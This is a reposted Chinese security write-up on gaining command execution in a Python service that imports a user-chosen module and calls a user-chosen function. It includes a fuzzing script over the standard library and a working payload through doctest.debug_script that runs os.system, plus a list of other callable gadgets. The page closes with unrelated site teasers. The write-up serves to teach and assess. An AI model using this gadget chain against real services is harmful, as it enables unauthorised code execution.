Python命令执行的一个Case

本文的文字及图片来源于网络,仅供学习、交流使用,不具有任何商业用途,,版权归原作者所有,如有问题请及时联系我们以作处理

作者:leveryd

原文链接:  http://www.leveryd.top/2020-12-23-Python命令执行Case/

在一次安全评估过程中,遇到了一个命令执行的点,但是存在部分限制。

服务是用Python写的,漏洞点的代码精简一下大概如下

import importlib

class AnyClass(object):

    pass

user_input_module = ""  # 用户可控

user_input_function = ""  # 用户可控

user_input_argument = ""  # 用户可控

imp_module = importlib.import_module(user_input_module)

func = getattr(imp_module, user_input_function)

arg =  bytes(user_input_argument.encode("utf-8"))

func(arg, AnyClass())  # 第二个参数必须存在

大概就是任意模块.任意函数(任意字符串,不可控的实例参数)。

因为第二个参数必须存在,所以不能简单的调用os.system函数来执行命令。

我的想法就变成,怎么找到一个方法能够执行命令,且这个方法有两个参数,且第二个参数不影响命令执行。

解题过程

想到去遍历Python库,来看看有没有满足上述条件的方法。

于是写了一小段代码来遍历Python默认安装的所有模块,扔给指定参数来尝试调用模块中的方法。如果没有报错,就打印函数后人工排查一下。

# coding:utf-8

import os

import re

import importlib

class AnyClass(object):

    pass

def fuzz_object(o):

    """

    :param o:

    :return:

    """

    for k in o.__dict__: 

        # print(k)

        v = o.__dict__[k]

        if callable(v):  # 遍历模块所有的函数

            try:

                v(b"xxxx", AnyClass())  # 如果函数接受两个参数,且第一个参数是bytes类型,第二个参数可以是任意实例,就把函数名打印出来。

                print(o.__file__, k)

            except Exception as _:

                pass

if __name__ == "__main__":

    abs_path = "/usr/local/Cellar/python/3.7.7/Frameworks/Python.framework/Versions/3.7/lib/python3.7"

    for i in os.listdir(abs_path):  # 遍历Python自带的基础库

        if os.path.isfile(abs_path + "/" + i):

            imp_module = re.sub(r'\.py$', "", i)

            try:

                ip_module = importlib.import_module(imp_module)

                fuzz_object(ip_module)

            except Exception as _:

                print(_)

            except KeyboardInterrupt:

                pass

        elif i not in [".", ".."]:  # 这里就不处理目录了

            pass

结果测出很多函数都可以正常运行,没有报错。

先说最终结论,doctest.debug_script函数完全满足要求

测试一下

import importlib

class AnyClass(object):

    pass

user_input_module = "doctest"

user_input_function = "debug_script"

user_input_argument = "import os;os.system('touch /tmp/qwer')"  # 执行 touch /tmp/qwer

imp_module = importlib.import_module(user_input_module)

func = getattr(imp_module, user_input_function)

arg =  bytes(user_input_argument.encode("utf-8"))

func(arg, AnyClass())

测试过程中,也发现有很多其他的部分满足需求的函数,这里也一并记录。

os.getenvb  可以读环境变量

eval(xx,{}) 可以命令执行,但是需要第二个参数是dict

pickletools.dis  输出opcode

webbrowser.open("http://www.baidu.com",object)

./idlelib/calltip.get_entity

timeit.timeit()  符合要求

os.fwalk

doctest.debug_script  完全符合要求,可以用来命令执行

总结

寻找满足特定条件的X时,用遍历的思想让程序去找,总会有点收获。

在另外一次针对bash脚本代码审计时也用到了这个简单但有效果的方法,找到了突破点。后面会写一篇介绍 :)

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 194,088评论 5 459
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 81,715评论 2 371
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 141,361评论 0 319
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,099评论 1 263
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 60,987评论 4 355
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,063评论 1 272
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,486评论 3 381
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,175评论 0 253
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,440评论 1 290
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,518评论 2 309
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,305评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,190评论 3 312
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,550评论 3 298
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 28,880评论 0 17
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,152评论 1 250
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,451评论 2 341
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,637评论 2 335

推荐阅读更多精彩内容

  • 大师兄的Python学习笔记(五): 常用库之os包大师兄的Python学习笔记(七): re包与正则表达式 一、...
    superkmi阅读 5,565评论 0 51
  • Learning Python 以下内容整理自网路 importlib importlib.import_modu...
    王拓阅读 1,339评论 0 0
  • Python 面向对象Python从设计之初就已经是一门面向对象的语言,正因为如此,在Python中创建一个类和对...
    顺毛阅读 4,200评论 4 16
  • 模块和包 一 模块 1 什么是模块? 常见的场景:一个模块就是一个包含了python定义和声明的文件,文件名就是...
    go以恒阅读 2,259评论 0 4
  • 久违的晴天,家长会。 家长大会开好到教室时,离放学已经没多少时间了。班主任说已经安排了三个家长分享经验。 放学铃声...
    飘雪儿5阅读 7,454评论 16 22